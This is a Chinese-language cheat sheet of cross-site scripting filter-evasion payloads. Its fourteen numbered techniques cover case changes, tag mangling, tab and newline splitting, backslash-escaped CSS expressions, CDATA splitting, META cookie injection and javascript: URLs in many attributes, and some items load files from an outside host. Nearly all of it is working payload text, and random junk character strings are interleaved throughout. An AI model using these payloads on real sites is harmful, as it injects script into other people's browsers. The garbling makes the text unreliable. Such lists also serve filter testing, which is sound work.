1. 改变字符大小写: j) Z" X3 A; }8 [# X, W1 f
! E1 Q' j1 _2 N2 H
7 ]! u& H' c$ C0 F- ?4 Q7 Z$ J
+ T c0 J! }# s5 i" k2 U6 o. Y <sCript>alert(‘d’)</scRipT>
% H, ^9 \6 A. m, o( P* i( j/ t! f( W6 b0 I
2. 利用多加一些其它字符来规避Regular Expression的检查' k2 ~6 O0 v4 W
. j4 s* y: ~$ U7 T$ r <<script>alert(‘c’)//<</script>
% e3 ^) K. t; y @! w
5 Q' O/ J/ g9 G( Q <SCRIPT a=">" SRC="t.js"></SCRIPT>
) g% h: q+ I& M# T
G/ c& A$ y# T& ]8 x1 K <SCRIPT =">" SRC="t.js"></SCRIPT>1 W: q" ^# J3 V; s. n# M8 l1 t
0 Z+ k0 @# u6 k* m <SCRIPT a=">" ” SRC="t.js"></SCRIPT>
5 S! p* A w' V( S Y) v; z4 ?+ F: `4 l+ X
<SCRIPT "a=’>’" SRC="t.js"></SCRIPT>! x& s3 b! b; X9 y1 z1 f; I
" f, k9 b. ^2 W
<SCRIPT a=`>` SRC="t.js"></SCRIPT>
& ^ B- W: H* {( _- w& N
; m3 h [3 a" n <SCRIPT a=">’>" SRC="t.js"></SCRIPT>0 E) u( e( U1 F4 g: f
; D! Q, R( _3 p, e% p/ h
3. 以其它扩展名取代.js$ @0 ~6 C8 i# G# {6 d5 [
5 E& N: E. n8 B( x
<script src="bad.jpg"></script>4 C0 U( g$ B* [- `; B- v6 G3 ]
& g, R8 i. V+ v3 B
4. 将Javascript写在CSS档里
8 F6 q8 @2 d8 T0 w1 d9 O- \# C: ?' ~4 w% i, O3 [
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">' Z6 t3 w9 u% i8 C! f# e
i/ P) M7 f1 R# q0 f) g1 ` example:$ n! N8 `$ |$ k- x5 G. C
( L# P9 {" W; w% T6 n, G' V body {* v( H. @" Z$ [! P* r1 `% k
( \; R& _8 t( V5 J- h ~* d
background-image: url(‘javascript:alert("XSS");’); ]) z3 Y" T# [. G2 r9 ?
; B+ u# a5 i1 g4 T
}
6 n) B+ w( k4 s; V0 f
x. X1 Z9 l. b' q, O( f- Y. {5. 在script的tag里加入一些其它字符6 z/ ?" x* C" T/ `
. Y- D& O3 Z' s( Q, |0 Q4 p, R
<SCRIPT/SRC="t.js"></SCRIPT>
# ]% {. V/ b+ c" B- ^5 v
5 Z: ?7 W- J3 Y, m6 R& n <SCRIPT/anyword SRC="t.js"></SCRIPT>8 Y6 h. q9 A2 ?! P
# k) z) f6 W0 o2 z- S$ [0 x8 D6. 使用tab或是new line来规避
& w% @, m9 ^4 `4 D9 d0 @
5 b3 {$ \! S% a6 |# w& z( U& h+ n. @ <img src="jav ascr ipt:alert(‘XSS3′)">( X; ^+ x7 Y/ s; o
6 u% v4 B; |# j E: F+ M <img src="jav ascr ipt:alert(‘XSS3′)">* {7 c$ T5 a$ P; K; J) Q
& V6 ?8 D$ Y( P6 i' R; q1 T <IMG SRC="jav ascript:alert(‘XSS’);">" b0 c, C% S3 W6 G5 D
4 p. K: {7 W/ o: B0 ~9 }4 D, S -> tag" R& p6 G& T* t& k$ @5 y6 Q
) J1 Q$ ~5 |# H$ [2 t+ Y+ l! E8 v
-> new line* {9 x+ Y9 [# i6 Y
, o( g" J" Q3 O: v9 s" N7. 使用"\"来规避/ ^3 Q- j3 K: f! w7 x0 B. U/ R4 z
0 E$ x% R7 s; l" d6 p' E6 [, |
<STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
: b- m" O$ D0 ^; i P& Z. f, O6 D7 r7 g4 [9 M9 k5 F w6 [- e: T1 x
<IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>$ S8 @9 M7 Y8 B& O" ]( K
/ Z$ A8 H3 Y% b2 t0 B" G* M s <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
2 e0 _/ W2 t2 J" _
1 p3 q+ s6 n/ r. V- [5 D: n <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">" Z6 c' A, k4 D' L
8 p G }; E5 P& a8 m
<A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
* a4 N0 @( w0 M# K/ r1 T7 ^' ]4 w1 u$ z; @6 {/ e1 X
8. 使用Hex encode来规避(也可能会把";"拿掉)6 |: d/ Z+ P3 {- F" e, k" @
0 o) x3 ~1 q) P$ E- p' s/ q
<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
( d/ a2 a- \) Z R7 h( V$ r5 [. G# K2 w, [/ H X* e
原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">. \& V0 L: y2 d: `
- d, v9 b- t* ? <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">+ J) J" ], S1 |4 y4 `1 N# s
" j, {/ {% u& `5 C' z( _ 原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
" A4 w; D( ]( o8 Y, d& O5 c* F) U+ L
3 _; o; `$ L6 h6 A# |9. script in HTML tag" {) W3 ]+ U1 n' T, O3 T8 N
' d9 V# |$ C3 n0 ` <body onload=」alert(‘onload’)」>
' W4 j6 \0 _6 c
) u" {6 m: w& b' Y onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload
7 |7 w! A2 e: L) \: Y" S3 ]& C- O6 X4 z, k' j: m6 A4 u
10. 在swf里含有xss的code
! u" x* V$ ~- C" ?' o
! f+ O/ p G" D8 L9 R2 t; W8 E <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
' h4 x% I8 z7 u8 [ |/ M4 @/ H7 z8 U7 v7 t
11. 利用CDATA将xss的code拆开,再组合起来。
- y! m- ?; |9 M# j9 Y5 c# U- q$ V* _2 i
<XML ID=I><X><C>
5 T2 k( p& x: z8 D7 u/ \1 `9 V
8 A( d% ~/ l& d0 P0 A" w' W <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
: t- z2 J6 c' x+ H, M7 [/ B9 s+ h$ n) {0 U8 ?
</C></X>
) R& S6 h4 j, @/ O) P" b4 V
; _& x. ?3 _, D: } </xml># L" W0 o$ Y# r: D- }8 Q ]0 w0 F
, G. l+ K n" S* ?& B3 n c ?
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>9 |* }; u: ?3 }
" B7 i6 \ D+ K* J
<XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
! D+ d/ ^9 j6 |: w: Q# _
4 X2 L7 R* {2 g$ C, w0 k5 ` <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
" |5 y; J& z+ M. x6 D
& P6 \& m0 i# E' B) g12. 利用HTML+TIME。
1 _4 ~& n( i' t8 K) W- P/ U
$ W6 x3 X! G8 r* Y- j+ } <HTML><BODY>7 O7 _. Q8 f9 ~8 R3 B- u
% X8 Y+ J9 h& `, d) L# k
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">$ b2 F# H1 Z5 F: s$ C, t/ i2 `% u3 ~
# w; Y8 A$ c0 } <?import namespace="t" implementation="#default#time2">9 i6 X5 O1 s- t7 z
* L$ }% h0 m. [$ _
<t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">6 t$ v) z- M4 [
6 Z; Q. M! ~6 `1 y2 N </BODY></HTML>$ K' j6 G* P- x7 c
# S- N. f4 C. j! q4 U8 g13. 透过META写入Cookie。 @2 A5 O/ ]1 S/ R& |- O7 H7 i
# {! P1 T1 Z" @ C% C- t, W
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">1 j) T# ~7 N# Q- n. K5 }/ Z
1 S' J+ I! g0 M& g0 o/ O
14. javascript in src , href , url/ U/ I0 G" A/ B% Z j- u3 Q' z
3 M) m9 `) {- n i; T1 k
<IFRAME SRC=javascript:alert(’13′)></IFRAME>
6 K2 {4 D) [- A4 }0 b- F' P r0 u9 H$ q0 |( f5 `
<img src="javascript:alert(‘XSS3′)">. P. _' x. W; n8 |% H
8 t& E* a- }9 g9 Y$ \ n5 Q
<IMG DYNSRC="javascript:alert(‘XSS20′)">. h6 Z8 x6 t8 \
# z; }) p" R r3 f1 `4 K) T. { }
<IMG LOWSRC="javascript:alert(‘XSS21′)">& I+ {$ A0 E8 `
/ v& e6 T2 [0 y( \: a) s* q
<LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">1 }( [5 d, h& S- Q0 A9 q
q* y! R* o0 i* b <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
8 ^& C# ]7 g! g5 g( J2 A" A1 ]9 A2 d+ H/ _1 u" E' ]
<TABLE BACKGROUND="javascript:alert(‘XSS29′)">9 R" o O4 K; ^
, Y6 v; g9 [8 r! R6 j1 |4 j <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
& g* v3 C; v4 i" W8 p
- l# o5 V. s9 E8 M1 I <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}( S I+ S% h& X6 e& }! ^$ I: t
$ ]. {% C9 p4 w- A/ m9 [+ l5 k
</STYLE><A CLASS=XSS></A>
$ V# q) ^. y4 h7 T w; m3 S2 I+ {4 W
/ C/ [8 O+ a% [6 l. ~0 c9 O <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET># Y$ T. j# r8 \
) l L8 ]& s6 P. v
|